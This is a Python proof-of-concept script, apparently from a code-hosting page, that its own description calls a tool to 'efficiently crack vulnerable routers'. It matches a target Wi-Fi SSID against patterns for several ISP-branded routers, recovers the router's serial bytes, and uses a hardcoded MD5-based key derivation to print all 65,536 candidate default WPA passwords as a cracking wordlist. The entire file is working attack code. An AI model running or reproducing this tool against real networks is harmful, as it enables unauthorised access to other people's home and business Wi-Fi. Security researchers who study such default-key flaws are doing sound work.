68 lines
2.1 KiB
Python
68 lines
2.1 KiB
Python
#!/usr/bin/env python3
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import argparse, base64, hashlib, re
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def genpwd_longpasswd(oui, serialnum):
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def str2md5(string):
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m = hashlib.md5()
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m.update(string.encode("ascii"))
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return m.digest()
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#secret1 = "%s-ALCL%s" % (oui, serialnum)
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secret2 = "%s-01%u" % (oui, int(serialnum, 16))
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#md5_secret1 = str2md5(secret1)
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md5_secret2 = str2md5(secret2)
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#wanpasswd = base64.b32encode(bytes(bytearray(md5_secret1[:16] + md5_secret2[:3]))).decode("ascii")[:30]
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lower = upper = 0
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for i in range(8):
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upper = (lower >> 0x18 | ((upper << 8)&0xffffffff))&0xffffffff
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lower = (((lower << 8)&0xffffffff) | md5_secret2[i + 8])&0xffffffff
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longpasswd = ((upper<<32)+lower)%0x2540be400
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return longpasswd
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parser = argparse.ArgumentParser(prog="poc", description="A poc script to efficiently crack vulnerable routers")
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parser.add_argument("ssid", type=str, help="the ssid to attack")
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args = parser.parse_args()
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oui = "D0542D"
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ssids = [ "VIETTEL-[A-F0-9]{4}",
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"SKYTEL-[A-F0-9]{4}",
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"SINGTEL-[A-F0-9]{4}-5G-1",
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"SINGTEL-[A-F0-9]{4}",
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"ORANGEFIBER-[A-F0-9]{4}",
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"INFINITUM[A-F0-9]{4}_5-4",
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"INFINITUM[A-F0-9]{4}_5-3",
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"INFINITUM[A-F0-9]{4}_5-2",
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"INFINITUM[A-F0-9]{4}_5",
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"INFINITUM[A-F0-9]{4}_2.4-4",
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"INFINITUM[A-F0-9]{4}_2.4-3",
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"INFINITUM[A-F0-9]{4}_2.4-2",
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"INFINITUM[A-F0-9]{4}_2.4",
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"GO_WiFi_[A-F0-9]{4}",
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"ALHN-[A-F0-9]{4}-4",
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"ALHN-[A-F0-9]{4}-3",
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"ALHN-[A-F0-9]{4}-11ac-4",
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"ALHN-[A-F0-9]{4}-11ac-3",
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"ALHN-[A-F0-9]{4}-11ac-2",
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"ALHN-[A-F0-9]{4}-11ac",
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"ALHN-[A-F0-9]{4}"]
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wordlist = set()
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for s in ssids:
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if re.match(s, args.ssid) != None:
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serialBytes = args.ssid
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for r in s.split("[A-F0-9]{4}"):
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serialBytes = serialBytes.replace(r, "")
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for i in range(0xffff + 1):
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candidate = genpwd_longpasswd(oui, "{:04x}{}".format(i, serialBytes))
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print(f"{candidate:010}")
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break
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